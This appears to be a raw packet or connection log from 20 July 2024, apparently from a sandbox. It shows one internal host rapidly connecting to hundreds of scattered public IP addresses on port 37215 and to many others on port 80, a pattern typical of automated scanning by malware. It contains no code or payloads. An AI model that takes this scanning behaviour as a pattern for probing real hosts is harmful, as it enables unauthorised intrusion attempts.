Jul 20, 2024 23:00:59.024130106 CEST	49998	37215	192.168.2.13	197.54.41.117
Jul 20, 2024 23:00:59.024130106 CEST	42216	37215	192.168.2.13	197.73.217.175
Jul 20, 2024 23:00:59.024234056 CEST	35076	37215	192.168.2.13	41.201.10.23
Jul 20, 2024 23:00:59.024234056 CEST	53188	37215	192.168.2.13	157.34.92.241
Jul 20, 2024 23:00:59.024234056 CEST	38858	37215	192.168.2.13	41.209.60.208
Jul 20, 2024 23:00:59.024234056 CEST	44316	37215	192.168.2.13	197.21.88.67
Jul 20, 2024 23:00:59.024234056 CEST	56970	37215	192.168.2.13	192.48.206.157
Jul 20, 2024 23:00:59.024234056 CEST	58342	37215	192.168.2.13	67.164.145.87
Jul 20, 2024 23:00:59.024234056 CEST	54950	37215	192.168.2.13	157.230.111.60
Jul 20, 2024 23:00:59.024234056 CEST	53236	37215	192.168.2.13	2.69.54.160
Jul 20, 2024 23:00:59.024276972 CEST	39374	37215	192.168.2.13	41.194.84.193
Jul 20, 2024 23:00:59.024276972 CEST	33242	37215	192.168.2.13	41.62.99.32
Jul 20, 2024 23:00:59.024276972 CEST	46612	37215	192.168.2.13	20.222.215.240
Jul 20, 2024 23:00:59.024276972 CEST	49894	37215	192.168.2.13	114.104.89.214
Jul 20, 2024 23:00:59.024532080 CEST	35044	37215	192.168.2.13	197.35.252.89
Jul 20, 2024 23:00:59.024532080 CEST	51088	37215	192.168.2.13	41.109.79.201
Jul 20, 2024 23:00:59.024532080 CEST	40306	37215	192.168.2.13	157.42.236.252
Jul 20, 2024 23:00:59.024532080 CEST	36856	37215	192.168.2.13	197.84.11.202
Jul 20, 2024 23:00:59.024532080 CEST	54504	37215	192.168.2.13	203.131.164.121
Jul 20, 2024 23:00:59.024532080 CEST	49566	37215	192.168.2.13	197.75.184.178
Jul 20, 2024 23:00:59.024560928 CEST	55064	37215	192.168.2.13	197.145.164.25
Jul 20, 2024 23:00:59.024560928 CEST	45584	37215	192.168.2.13	157.219.233.88
Jul 20, 2024 23:00:59.024631023 CEST	37215	35940	157.3.21.190	192.168.2.13
Jul 20, 2024 23:00:59.024674892 CEST	37215	32874	41.56.118.161	192.168.2.13
Jul 20, 2024 23:00:59.024739981 CEST	37215	36272	182.85.50.153	192.168.2.13
Jul 20, 2024 23:00:59.024770975 CEST	37215	38980	197.214.55.135	192.168.2.13
Jul 20, 2024 23:00:59.024940968 CEST	43748	37215	192.168.2.13	183.18.158.37
Jul 20, 2024 23:00:59.024940968 CEST	58158	37215	192.168.2.13	157.138.203.32
Jul 20, 2024 23:00:59.024940968 CEST	42974	37215	192.168.2.13	157.11.177.150
Jul 20, 2024 23:00:59.024940968 CEST	57130	37215	192.168.2.13	41.187.2.103
Jul 20, 2024 23:00:59.024940968 CEST	54018	37215	192.168.2.13	46.185.21.147
Jul 20, 2024 23:00:59.024940968 CEST	52206	37215	192.168.2.13	157.132.248.230
Jul 20, 2024 23:00:59.024941921 CEST	49980	37215	192.168.2.13	217.47.253.96
Jul 20, 2024 23:00:59.024941921 CEST	50670	37215	192.168.2.13	197.56.38.36
Jul 20, 2024 23:00:59.024977922 CEST	32816	37215	192.168.2.13	41.4.10.141
Jul 20, 2024 23:00:59.024977922 CEST	37640	37215	192.168.2.13	157.171.167.12
Jul 20, 2024 23:00:59.024977922 CEST	37320	37215	192.168.2.13	197.204.98.25
Jul 20, 2024 23:00:59.024977922 CEST	38068	37215	192.168.2.13	37.50.200.38
Jul 20, 2024 23:00:59.024977922 CEST	58760	37215	192.168.2.13	52.138.177.196
Jul 20, 2024 23:00:59.024977922 CEST	39592	37215	192.168.2.13	157.156.49.184
Jul 20, 2024 23:00:59.024977922 CEST	41912	37215	192.168.2.13	196.108.28.41
Jul 20, 2024 23:00:59.025006056 CEST	37215	44802	194.65.196.65	192.168.2.13
Jul 20, 2024 23:00:59.025037050 CEST	37215	51224	157.200.98.141	192.168.2.13
Jul 20, 2024 23:00:59.025068998 CEST	37215	45044	159.247.186.213	192.168.2.13
Jul 20, 2024 23:00:59.025099993 CEST	37215	33704	197.92.237.222	192.168.2.13
Jul 20, 2024 23:00:59.025129080 CEST	37215	39322	197.234.38.242	192.168.2.13
Jul 20, 2024 23:00:59.025158882 CEST	37215	52992	212.19.225.186	192.168.2.13
Jul 20, 2024 23:00:59.025187969 CEST	37215	51784	109.174.172.219	192.168.2.13
Jul 20, 2024 23:00:59.025218010 CEST	37215	57984	157.154.83.107	192.168.2.13
Jul 20, 2024 23:00:59.025248051 CEST	37215	39572	197.64.178.193	192.168.2.13
Jul 20, 2024 23:00:59.025324106 CEST	37215	51480	124.38.65.99	192.168.2.13
Jul 20, 2024 23:00:59.025355101 CEST	37215	49448	157.34.28.229	192.168.2.13
Jul 20, 2024 23:00:59.025386095 CEST	37215	35076	41.201.10.23	192.168.2.13
Jul 20, 2024 23:00:59.025393963 CEST	57934	37215	192.168.2.13	41.114.67.30
Jul 20, 2024 23:00:59.025394917 CEST	43002	37215	192.168.2.13	157.180.195.105
Jul 20, 2024 23:00:59.025394917 CEST	35422	37215	192.168.2.13	157.106.231.112
Jul 20, 2024 23:00:59.025394917 CEST	57056	37215	192.168.2.13	197.109.166.112
Jul 20, 2024 23:00:59.025394917 CEST	42034	37215	192.168.2.13	163.150.42.115
Jul 20, 2024 23:00:59.025394917 CEST	50812	37215	192.168.2.13	104.140.179.113
Jul 20, 2024 23:00:59.025394917 CEST	47914	37215	192.168.2.13	75.142.64.164
Jul 20, 2024 23:00:59.025394917 CEST	42636	37215	192.168.2.13	41.135.156.196
Jul 20, 2024 23:00:59.025417089 CEST	37215	40932	157.249.112.126	192.168.2.13
Jul 20, 2024 23:00:59.025446892 CEST	37215	36346	157.62.193.172	192.168.2.13
Jul 20, 2024 23:00:59.025481939 CEST	37215	53188	157.34.92.241	192.168.2.13
Jul 20, 2024 23:00:59.025536060 CEST	37215	42210	197.130.190.85	192.168.2.13
Jul 20, 2024 23:00:59.025542021 CEST	60186	37215	192.168.2.13	41.237.188.97
Jul 20, 2024 23:00:59.025542021 CEST	52932	37215	192.168.2.13	197.185.241.200
Jul 20, 2024 23:00:59.025542021 CEST	44874	37215	192.168.2.13	116.156.175.81
Jul 20, 2024 23:00:59.025542021 CEST	34624	37215	192.168.2.13	41.88.134.99
Jul 20, 2024 23:00:59.025542021 CEST	52376	37215	192.168.2.13	138.35.105.236
Jul 20, 2024 23:00:59.025542974 CEST	38738	37215	192.168.2.13	157.200.38.194
Jul 20, 2024 23:00:59.025567055 CEST	37215	55082	157.134.72.2	192.168.2.13
Jul 20, 2024 23:00:59.025598049 CEST	37215	38898	104.8.73.49	192.168.2.13
Jul 20, 2024 23:00:59.025609970 CEST	49466	37215	192.168.2.13	157.231.126.250
Jul 20, 2024 23:00:59.025609970 CEST	37268	37215	192.168.2.13	41.152.229.173
Jul 20, 2024 23:00:59.025609970 CEST	41822	37215	192.168.2.13	157.181.146.64
Jul 20, 2024 23:00:59.025609970 CEST	38854	37215	192.168.2.13	203.129.114.89
Jul 20, 2024 23:00:59.025609970 CEST	40934	37215	192.168.2.13	197.16.131.86
Jul 20, 2024 23:00:59.025609970 CEST	55466	37215	192.168.2.13	41.70.65.103
Jul 20, 2024 23:00:59.025609970 CEST	58296	37215	192.168.2.13	197.9.119.173
Jul 20, 2024 23:00:59.025609970 CEST	38556	37215	192.168.2.13	157.11.18.169
Jul 20, 2024 23:00:59.025657892 CEST	37215	37720	41.17.9.128	192.168.2.13
Jul 20, 2024 23:00:59.025722027 CEST	37215	35902	41.128.69.214	192.168.2.13
Jul 20, 2024 23:00:59.025753021 CEST	37215	34008	197.39.121.171	192.168.2.13
Jul 20, 2024 23:00:59.025783062 CEST	37215	38858	41.209.60.208	192.168.2.13
Jul 20, 2024 23:00:59.025813103 CEST	37215	56530	157.178.20.242	192.168.2.13
Jul 20, 2024 23:00:59.025842905 CEST	37215	44962	197.6.247.149	192.168.2.13
Jul 20, 2024 23:00:59.025871992 CEST	37215	44316	197.21.88.67	192.168.2.13
Jul 20, 2024 23:00:59.025928020 CEST	37215	40876	157.40.102.40	192.168.2.13
Jul 20, 2024 23:00:59.025957108 CEST	37215	42776	197.245.35.233	192.168.2.13
Jul 20, 2024 23:00:59.025985956 CEST	37215	44478	41.185.235.4	192.168.2.13
Jul 20, 2024 23:00:59.026015043 CEST	37215	50918	157.245.110.242	192.168.2.13
Jul 20, 2024 23:00:59.026043892 CEST	37215	41716	197.168.76.154	192.168.2.13
Jul 20, 2024 23:00:59.026072979 CEST	37215	40410	157.108.71.72	192.168.2.13
Jul 20, 2024 23:00:59.026125908 CEST	37215	44818	197.145.183.59	192.168.2.13
Jul 20, 2024 23:00:59.026154041 CEST	37215	58098	197.124.222.24	192.168.2.13
Jul 20, 2024 23:00:59.026182890 CEST	37215	32872	106.174.68.245	192.168.2.13
Jul 20, 2024 23:00:59.026211977 CEST	37215	60718	197.190.172.118	192.168.2.13
Jul 20, 2024 23:00:59.026242018 CEST	37215	51402	157.213.124.92	192.168.2.13
Jul 20, 2024 23:00:59.026272058 CEST	37215	49466	157.231.126.250	192.168.2.13
Jul 20, 2024 23:00:59.026328087 CEST	37215	56970	192.48.206.157	192.168.2.13
Jul 20, 2024 23:00:59.026357889 CEST	37215	59660	114.116.15.132	192.168.2.13
Jul 20, 2024 23:00:59.026387930 CEST	37215	58342	67.164.145.87	192.168.2.13
Jul 20, 2024 23:00:59.026418924 CEST	37215	58506	157.15.177.153	192.168.2.13
Jul 20, 2024 23:00:59.026448011 CEST	37215	37268	41.152.229.173	192.168.2.13
Jul 20, 2024 23:00:59.026505947 CEST	37215	33556	157.220.78.185	192.168.2.13
Jul 20, 2024 23:00:59.026535988 CEST	37215	40354	157.1.12.172	192.168.2.13
Jul 20, 2024 23:00:59.026565075 CEST	37215	49736	65.79.209.34	192.168.2.13
Jul 20, 2024 23:00:59.026593924 CEST	44802	37215	192.168.2.13	194.65.196.65
Jul 20, 2024 23:00:59.026595116 CEST	37215	52342	157.110.69.240	192.168.2.13
Jul 20, 2024 23:00:59.026593924 CEST	51784	37215	192.168.2.13	109.174.172.219
Jul 20, 2024 23:00:59.026593924 CEST	38898	37215	192.168.2.13	104.8.73.49
Jul 20, 2024 23:00:59.026593924 CEST	44818	37215	192.168.2.13	197.145.183.59
Jul 20, 2024 23:00:59.026593924 CEST	59660	37215	192.168.2.13	114.116.15.132
Jul 20, 2024 23:00:59.026593924 CEST	50462	37215	192.168.2.13	157.161.52.19
Jul 20, 2024 23:00:59.026593924 CEST	34700	37215	192.168.2.13	197.209.60.212
Jul 20, 2024 23:00:59.026595116 CEST	39112	37215	192.168.2.13	145.185.248.183
Jul 20, 2024 23:00:59.026626110 CEST	37215	50030	157.207.241.220	192.168.2.13
Jul 20, 2024 23:00:59.026654959 CEST	37215	32838	41.150.219.200	192.168.2.13
Jul 20, 2024 23:00:59.026707888 CEST	37215	32816	41.4.10.141	192.168.2.13
Jul 20, 2024 23:00:59.026737928 CEST	37215	37640	157.171.167.12	192.168.2.13
Jul 20, 2024 23:00:59.026767969 CEST	37215	45338	41.44.46.164	192.168.2.13
Jul 20, 2024 23:00:59.026799917 CEST	37215	56172	41.255.114.202	192.168.2.13
Jul 20, 2024 23:00:59.026829958 CEST	37215	50462	157.161.52.19	192.168.2.13
Jul 20, 2024 23:00:59.026900053 CEST	37215	37320	197.204.98.25	192.168.2.13
Jul 20, 2024 23:00:59.026930094 CEST	37215	38068	37.50.200.38	192.168.2.13
Jul 20, 2024 23:00:59.026958942 CEST	37215	47944	41.143.52.237	192.168.2.13
Jul 20, 2024 23:00:59.026988983 CEST	37215	54950	157.230.111.60	192.168.2.13
Jul 20, 2024 23:00:59.027044058 CEST	37215	53836	157.231.4.197	192.168.2.13
Jul 20, 2024 23:00:59.027075052 CEST	37215	33654	110.202.3.118	192.168.2.13
Jul 20, 2024 23:00:59.027106047 CEST	37215	54336	197.70.102.93	192.168.2.13
Jul 20, 2024 23:00:59.027127981 CEST	56090	37215	192.168.2.13	220.90.88.236
Jul 20, 2024 23:00:59.027128935 CEST	59386	37215	192.168.2.13	41.222.221.26
Jul 20, 2024 23:00:59.027128935 CEST	56484	37215	192.168.2.13	197.112.125.91
Jul 20, 2024 23:00:59.027128935 CEST	37234	37215	192.168.2.13	86.82.54.225
Jul 20, 2024 23:00:59.027128935 CEST	59968	37215	192.168.2.13	157.184.88.81
Jul 20, 2024 23:00:59.027128935 CEST	45336	37215	192.168.2.13	197.36.237.89
Jul 20, 2024 23:00:59.027128935 CEST	35012	37215	192.168.2.13	157.24.52.3
Jul 20, 2024 23:00:59.027128935 CEST	42570	37215	192.168.2.13	181.77.179.109
Jul 20, 2024 23:00:59.027137041 CEST	37215	50040	41.186.86.221	192.168.2.13
Jul 20, 2024 23:00:59.027189016 CEST	37215	58760	52.138.177.196	192.168.2.13
Jul 20, 2024 23:00:59.027220964 CEST	37215	41822	157.181.146.64	192.168.2.13
Jul 20, 2024 23:00:59.027251959 CEST	37215	43748	183.18.158.37	192.168.2.13
Jul 20, 2024 23:00:59.027314901 CEST	37215	53236	2.69.54.160	192.168.2.13
Jul 20, 2024 23:00:59.027344942 CEST	37215	58158	157.138.203.32	192.168.2.13
Jul 20, 2024 23:00:59.027374983 CEST	37215	60186	41.237.188.97	192.168.2.13
Jul 20, 2024 23:00:59.027437925 CEST	37215	34700	197.209.60.212	192.168.2.13
Jul 20, 2024 23:00:59.027467966 CEST	37215	60170	197.17.13.19	192.168.2.13
Jul 20, 2024 23:00:59.027497053 CEST	37215	39592	157.156.49.184	192.168.2.13
Jul 20, 2024 23:00:59.027528048 CEST	37215	48244	157.45.88.204	192.168.2.13
Jul 20, 2024 23:00:59.027554989 CEST	57302	80	192.168.2.13	88.55.81.133
Jul 20, 2024 23:00:59.027558088 CEST	37215	39112	145.185.248.183	192.168.2.13
Jul 20, 2024 23:00:59.027610064 CEST	37215	57934	41.114.67.30	192.168.2.13
Jul 20, 2024 23:00:59.027638912 CEST	37215	39374	41.194.84.193	192.168.2.13
Jul 20, 2024 23:00:59.027669907 CEST	37215	42974	157.11.177.150	192.168.2.13
Jul 20, 2024 23:00:59.027725935 CEST	37215	38854	203.129.114.89	192.168.2.13
Jul 20, 2024 23:00:59.027738094 CEST	43614	37215	192.168.2.13	157.210.89.153
Jul 20, 2024 23:00:59.027756929 CEST	37215	54514	41.150.243.200	192.168.2.13
Jul 20, 2024 23:00:59.027930975 CEST	37215	40934	197.16.131.86	192.168.2.13
Jul 20, 2024 23:00:59.027987003 CEST	37215	44740	197.238.40.168	192.168.2.13
Jul 20, 2024 23:00:59.028223991 CEST	37215	55466	41.70.65.103	192.168.2.13
Jul 20, 2024 23:00:59.028254032 CEST	37215	56090	220.90.88.236	192.168.2.13
Jul 20, 2024 23:00:59.028285027 CEST	37215	42662	157.222.199.50	192.168.2.13
Jul 20, 2024 23:00:59.028341055 CEST	37215	33242	41.62.99.32	192.168.2.13
Jul 20, 2024 23:00:59.028371096 CEST	37215	57130	41.187.2.103	192.168.2.13
Jul 20, 2024 23:00:59.028402090 CEST	37215	46612	20.222.215.240	192.168.2.13
Jul 20, 2024 23:00:59.028431892 CEST	37215	54018	46.185.21.147	192.168.2.13
Jul 20, 2024 23:00:59.028460979 CEST	37215	58296	197.9.119.173	192.168.2.13
Jul 20, 2024 23:00:59.028541088 CEST	37215	59386	41.222.221.26	192.168.2.13
Jul 20, 2024 23:00:59.028572083 CEST	37215	43002	157.180.195.105	192.168.2.13
Jul 20, 2024 23:00:59.028654099 CEST	37215	58998	41.79.63.222	192.168.2.13
Jul 20, 2024 23:00:59.028683901 CEST	37215	49894	114.104.89.214	192.168.2.13
Jul 20, 2024 23:00:59.028714895 CEST	37215	49998	197.54.41.117	192.168.2.13
Jul 20, 2024 23:00:59.028744936 CEST	37215	35422	157.106.231.112	192.168.2.13
Jul 20, 2024 23:00:59.028826952 CEST	37215	52932	197.185.241.200	192.168.2.13
Jul 20, 2024 23:00:59.028930902 CEST	37215	57056	197.109.166.112	192.168.2.13
Jul 20, 2024 23:00:59.029000044 CEST	37215	41912	196.108.28.41	192.168.2.13
Jul 20, 2024 23:00:59.029030085 CEST	37215	52206	157.132.248.230	192.168.2.13
Jul 20, 2024 23:00:59.029124022 CEST	37215	44874	116.156.175.81	192.168.2.13
Jul 20, 2024 23:00:59.029154062 CEST	37215	42034	163.150.42.115	192.168.2.13
Jul 20, 2024 23:00:59.029184103 CEST	37215	49980	217.47.253.96	192.168.2.13
Jul 20, 2024 23:00:59.029217958 CEST	37215	38556	157.11.18.169	192.168.2.13
Jul 20, 2024 23:00:59.029323101 CEST	37215	56484	197.112.125.91	192.168.2.13
Jul 20, 2024 23:00:59.029352903 CEST	37215	42216	197.73.217.175	192.168.2.13
Jul 20, 2024 23:00:59.029382944 CEST	37215	34624	41.88.134.99	192.168.2.13
Jul 20, 2024 23:00:59.029412985 CEST	37215	55064	197.145.164.25	192.168.2.13
Jul 20, 2024 23:00:59.029463053 CEST	37215	35044	197.35.252.89	192.168.2.13
Jul 20, 2024 23:00:59.029491901 CEST	37215	45584	157.219.233.88	192.168.2.13
Jul 20, 2024 23:00:59.029772997 CEST	37215	50812	104.140.179.113	192.168.2.13
Jul 20, 2024 23:00:59.029803038 CEST	37215	51088	41.109.79.201	192.168.2.13
Jul 20, 2024 23:00:59.029875994 CEST	37215	52376	138.35.105.236	192.168.2.13
Jul 20, 2024 23:00:59.029906988 CEST	37215	50670	197.56.38.36	192.168.2.13
Jul 20, 2024 23:00:59.029936075 CEST	37215	40306	157.42.236.252	192.168.2.13
Jul 20, 2024 23:00:59.030134916 CEST	53044	80	192.168.2.13	88.46.192.156
Jul 20, 2024 23:00:59.030322075 CEST	37215	47914	75.142.64.164	192.168.2.13
Jul 20, 2024 23:00:59.030350924 CEST	37215	36856	197.84.11.202	192.168.2.13
Jul 20, 2024 23:00:59.030502081 CEST	37215	42636	41.135.156.196	192.168.2.13
Jul 20, 2024 23:00:59.030531883 CEST	37215	54504	203.131.164.121	192.168.2.13
Jul 20, 2024 23:00:59.030611992 CEST	37215	49566	197.75.184.178	192.168.2.13
Jul 20, 2024 23:00:59.030642033 CEST	37215	38738	157.200.38.194	192.168.2.13
Jul 20, 2024 23:00:59.030937910 CEST	49580	37215	192.168.2.13	157.82.209.252
Jul 20, 2024 23:00:59.033401012 CEST	42940	80	192.168.2.13	88.233.245.46
Jul 20, 2024 23:00:59.034171104 CEST	43024	37215	192.168.2.13	157.42.124.218
Jul 20, 2024 23:00:59.035099030 CEST	37215	37234	86.82.54.225	192.168.2.13
Jul 20, 2024 23:00:59.035378933 CEST	37215	59968	157.184.88.81	192.168.2.13
Jul 20, 2024 23:00:59.035511971 CEST	37215	45336	197.36.237.89	192.168.2.13
Jul 20, 2024 23:00:59.035886049 CEST	37215	35012	157.24.52.3	192.168.2.13
Jul 20, 2024 23:00:59.036437988 CEST	39178	80	192.168.2.13	88.95.217.148
Jul 20, 2024 23:00:59.036570072 CEST	37215	42570	181.77.179.109	192.168.2.13
Jul 20, 2024 23:00:59.036602974 CEST	37215	43614	157.210.89.153	192.168.2.13
Jul 20, 2024 23:00:59.036669016 CEST	80	57302	88.55.81.133	192.168.2.13
Jul 20, 2024 23:00:59.036698103 CEST	43614	37215	192.168.2.13	157.210.89.153
Jul 20, 2024 23:00:59.036859989 CEST	57302	80	192.168.2.13	88.55.81.133
Jul 20, 2024 23:00:59.036921024 CEST	80	53044	88.46.192.156	192.168.2.13
Jul 20, 2024 23:00:59.036972046 CEST	53044	80	192.168.2.13	88.46.192.156
Jul 20, 2024 23:00:59.036978960 CEST	37215	49580	157.82.209.252	192.168.2.13
Jul 20, 2024 23:00:59.037075996 CEST	49580	37215	192.168.2.13	157.82.209.252
Jul 20, 2024 23:00:59.037277937 CEST	60614	37215	192.168.2.13	197.136.94.142
Jul 20, 2024 23:00:59.038752079 CEST	80	42940	88.233.245.46	192.168.2.13
Jul 20, 2024 23:00:59.038796902 CEST	42940	80	192.168.2.13	88.233.245.46
Jul 20, 2024 23:00:59.039251089 CEST	37215	43024	157.42.124.218	192.168.2.13
Jul 20, 2024 23:00:59.039305925 CEST	43024	37215	192.168.2.13	157.42.124.218
Jul 20, 2024 23:00:59.039884090 CEST	35172	80	192.168.2.13	88.84.148.82
Jul 20, 2024 23:00:59.040848970 CEST	60900	37215	192.168.2.13	157.237.43.90
Jul 20, 2024 23:00:59.042273045 CEST	80	39178	88.95.217.148	192.168.2.13
Jul 20, 2024 23:00:59.042320967 CEST	39178	80	192.168.2.13	88.95.217.148
Jul 20, 2024 23:00:59.042582035 CEST	37215	60614	197.136.94.142	192.168.2.13
Jul 20, 2024 23:00:59.042757034 CEST	60614	37215	192.168.2.13	197.136.94.142
Jul 20, 2024 23:00:59.043042898 CEST	34676	80	192.168.2.13	88.173.127.131
Jul 20, 2024 23:00:59.043777943 CEST	47022	37215	192.168.2.13	157.16.61.193
Jul 20, 2024 23:00:59.045207977 CEST	80	35172	88.84.148.82	192.168.2.13
Jul 20, 2024 23:00:59.045259953 CEST	35172	80	192.168.2.13	88.84.148.82
Jul 20, 2024 23:00:59.046010017 CEST	52208	80	192.168.2.13	88.28.231.133
Jul 20, 2024 23:00:59.046706915 CEST	43270	37215	192.168.2.13	157.202.34.88
Jul 20, 2024 23:00:59.046732903 CEST	37215	60900	157.237.43.90	192.168.2.13
Jul 20, 2024 23:00:59.046802044 CEST	60900	37215	192.168.2.13	157.237.43.90
Jul 20, 2024 23:00:59.048404932 CEST	80	34676	88.173.127.131	192.168.2.13
Jul 20, 2024 23:00:59.048449993 CEST	34676	80	192.168.2.13	88.173.127.131
Jul 20, 2024 23:00:59.049045086 CEST	37215	47022	157.16.61.193	192.168.2.13
Jul 20, 2024 23:00:59.049122095 CEST	47022	37215	192.168.2.13	157.16.61.193
Jul 20, 2024 23:00:59.049216986 CEST	37210	80	192.168.2.13	88.39.167.212
Jul 20, 2024 23:00:59.049911976 CEST	55454	37215	192.168.2.13	157.52.27.4
Jul 20, 2024 23:00:59.051875114 CEST	80	52208	88.28.231.133	192.168.2.13
Jul 20, 2024 23:00:59.051930904 CEST	52208	80	192.168.2.13	88.28.231.133
Jul 20, 2024 23:00:59.052114964 CEST	44038	80	192.168.2.13	88.3.244.128
Jul 20, 2024 23:00:59.052345991 CEST	37215	43270	157.202.34.88	192.168.2.13
Jul 20, 2024 23:00:59.052401066 CEST	43270	37215	192.168.2.13	157.202.34.88
Jul 20, 2024 23:00:59.052779913 CEST	52346	37215	192.168.2.13	41.246.201.30
Jul 20, 2024 23:00:59.054913998 CEST	34082	37215	192.168.2.13	25.100.29.220
Jul 20, 2024 23:00:59.054990053 CEST	43614	37215	192.168.2.13	157.210.89.153
Jul 20, 2024 23:00:59.055000067 CEST	49580	37215	192.168.2.13	157.82.209.252
Jul 20, 2024 23:00:59.055046082 CEST	43024	37215	192.168.2.13	157.42.124.218
Jul 20, 2024 23:00:59.055058956 CEST	60614	37215	192.168.2.13	197.136.94.142
Jul 20, 2024 23:00:59.055118084 CEST	60900	37215	192.168.2.13	157.237.43.90
Jul 20, 2024 23:00:59.055157900 CEST	43270	37215	192.168.2.13	157.202.34.88
Jul 20, 2024 23:00:59.055207968 CEST	43614	37215	192.168.2.13	157.210.89.153
Jul 20, 2024 23:00:59.055216074 CEST	49580	37215	192.168.2.13	157.82.209.252
Jul 20, 2024 23:00:59.055227041 CEST	34082	37215	192.168.2.13	25.100.29.220
Jul 20, 2024 23:00:59.055227041 CEST	60614	37215	192.168.2.13	197.136.94.142
Jul 20, 2024 23:00:59.055291891 CEST	43270	37215	192.168.2.13	157.202.34.88
Jul 20, 2024 23:00:59.055471897 CEST	60900	37215	192.168.2.13	157.237.43.90
Jul 20, 2024 23:00:59.055491924 CEST	80	37210	88.39.167.212	192.168.2.13
Jul 20, 2024 23:00:59.055716038 CEST	37210	80	192.168.2.13	88.39.167.212
Jul 20, 2024 23:00:59.055808067 CEST	47022	37215	192.168.2.13	157.16.61.193
Jul 20, 2024 23:00:59.055808067 CEST	43024	37215	192.168.2.13	157.42.124.218
Jul 20, 2024 23:00:59.055809021 CEST	47022	37215	192.168.2.13	157.16.61.193
Jul 20, 2024 23:00:59.055809021 CEST	40180	80	192.168.2.13	88.178.196.213
Jul 20, 2024 23:00:59.056333065 CEST	37215	55454	157.52.27.4	192.168.2.13
Jul 20, 2024 23:00:59.056391954 CEST	55454	37215	192.168.2.13	157.52.27.4
Jul 20, 2024 23:00:59.056488037 CEST	55454	37215	192.168.2.13	157.52.27.4
Jul 20, 2024 23:00:59.056597948 CEST	55454	37215	192.168.2.13	157.52.27.4
Jul 20, 2024 23:00:59.058005095 CEST	49614	80	192.168.2.13	88.28.171.163
Jul 20, 2024 23:00:59.060250998 CEST	41526	80	192.168.2.13	88.191.74.35
Jul 20, 2024 23:00:59.061316967 CEST	80	44038	88.3.244.128	192.168.2.13
Jul 20, 2024 23:00:59.061531067 CEST	44038	80	192.168.2.13	88.3.244.128
Jul 20, 2024 23:00:59.062376976 CEST	37215	52346	41.246.201.30	192.168.2.13
Jul 20, 2024 23:00:59.062427044 CEST	52346	37215	192.168.2.13	41.246.201.30
Jul 20, 2024 23:00:59.062572002 CEST	52346	37215	192.168.2.13	41.246.201.30
Jul 20, 2024 23:00:59.062621117 CEST	52346	37215	192.168.2.13	41.246.201.30
Jul 20, 2024 23:00:59.062730074 CEST	59428	80	192.168.2.13	88.11.238.53
Jul 20, 2024 23:00:59.064662933 CEST	36690	80	192.168.2.13	88.229.215.174
Jul 20, 2024 23:00:59.065788031 CEST	37215	34082	25.100.29.220	192.168.2.13
Jul 20, 2024 23:00:59.065959930 CEST	37215	43614	157.210.89.153	192.168.2.13
Jul 20, 2024 23:00:59.066464901 CEST	37215	49580	157.82.209.252	192.168.2.13
Jul 20, 2024 23:00:59.066494942 CEST	37215	60614	197.136.94.142	192.168.2.13
Jul 20, 2024 23:00:59.066572905 CEST	37215	43270	157.202.34.88	192.168.2.13
Jul 20, 2024 23:00:59.066899061 CEST	60562	80	192.168.2.13	88.57.169.186
Jul 20, 2024 23:00:59.066901922 CEST	37215	60900	157.237.43.90	192.168.2.13
Jul 20, 2024 23:00:59.067251921 CEST	37215	43024	157.42.124.218	192.168.2.13
Jul 20, 2024 23:00:59.067770958 CEST	37215	47022	157.16.61.193	192.168.2.13
Jul 20, 2024 23:00:59.067971945 CEST	80	40180	88.178.196.213	192.168.2.13
Jul 20, 2024 23:00:59.068017960 CEST	40180	80	192.168.2.13	88.178.196.213
Jul 20, 2024 23:00:59.068717003 CEST	37215	55454	157.52.27.4	192.168.2.13
Jul 20, 2024 23:00:59.069092989 CEST	41128	80	192.168.2.13	88.143.197.12
Jul 20, 2024 23:00:59.071254015 CEST	80	49614	88.28.171.163	192.168.2.13
Jul 20, 2024 23:00:59.071300983 CEST	49614	80	192.168.2.13	88.28.171.163
Jul 20, 2024 23:00:59.071527004 CEST	42014	80	192.168.2.13	88.59.14.239
Jul 20, 2024 23:00:59.072761059 CEST	37215	54336	197.70.102.93	192.168.2.13
Jul 20, 2024 23:00:59.072793007 CEST	37215	52992	212.19.225.186	192.168.2.13
Jul 20, 2024 23:00:59.072824955 CEST	37215	52342	157.110.69.240	192.168.2.13
Jul 20, 2024 23:00:59.072880030 CEST	37215	56172	41.255.114.202	192.168.2.13
Jul 20, 2024 23:00:59.072910070 CEST	37215	40932	157.249.112.126	192.168.2.13
Jul 20, 2024 23:00:59.072938919 CEST	37215	56530	157.178.20.242	192.168.2.13
Jul 20, 2024 23:00:59.072968960 CEST	37215	51402	157.213.124.92	192.168.2.13
Jul 20, 2024 23:00:59.072998047 CEST	37215	32872	106.174.68.245	192.168.2.13
Jul 20, 2024 23:00:59.073025942 CEST	37215	40876	157.40.102.40	192.168.2.13
Jul 20, 2024 23:00:59.073055029 CEST	37215	35902	41.128.69.214	192.168.2.13
Jul 20, 2024 23:00:59.073084116 CEST	37215	49448	157.34.28.229	192.168.2.13
Jul 20, 2024 23:00:59.073112965 CEST	37215	51480	124.38.65.99	192.168.2.13
Jul 20, 2024 23:00:59.073143005 CEST	37215	39322	197.234.38.242	192.168.2.13
Jul 20, 2024 23:00:59.073170900 CEST	37215	45044	159.247.186.213	192.168.2.13
Jul 20, 2024 23:00:59.073199987 CEST	37215	42776	197.245.35.233	192.168.2.13
Jul 20, 2024 23:00:59.073227882 CEST	37215	44962	197.6.247.149	192.168.2.13
Jul 20, 2024 23:00:59.073256969 CEST	37215	38980	197.214.55.135	192.168.2.13
Jul 20, 2024 23:00:59.073316097 CEST	37215	51224	157.200.98.141	192.168.2.13
Jul 20, 2024 23:00:59.073344946 CEST	37215	33704	197.92.237.222	192.168.2.13
Jul 20, 2024 23:00:59.073379040 CEST	37215	32874	41.56.118.161	192.168.2.13
Jul 20, 2024 23:00:59.073407888 CEST	37215	35940	157.3.21.190	192.168.2.13
Jul 20, 2024 23:00:59.073755026 CEST	80	41526	88.191.74.35	192.168.2.13
Jul 20, 2024 23:00:59.073770046 CEST	34576	80	192.168.2.13	88.235.23.149
Jul 20, 2024 23:00:59.073796988 CEST	41526	80	192.168.2.13	88.191.74.35
Jul 20, 2024 23:00:59.075025082 CEST	37215	52346	41.246.201.30	192.168.2.13
Jul 20, 2024 23:00:59.075090885 CEST	80	59428	88.11.238.53	192.168.2.13
Jul 20, 2024 23:00:59.075131893 CEST	59428	80	192.168.2.13	88.11.238.53
Jul 20, 2024 23:00:59.075994015 CEST	49628	80	192.168.2.13	88.36.207.19
Jul 20, 2024 23:00:59.077306032 CEST	80	36690	88.229.215.174	192.168.2.13
Jul 20, 2024 23:00:59.077362061 CEST	36690	80	192.168.2.13	88.229.215.174
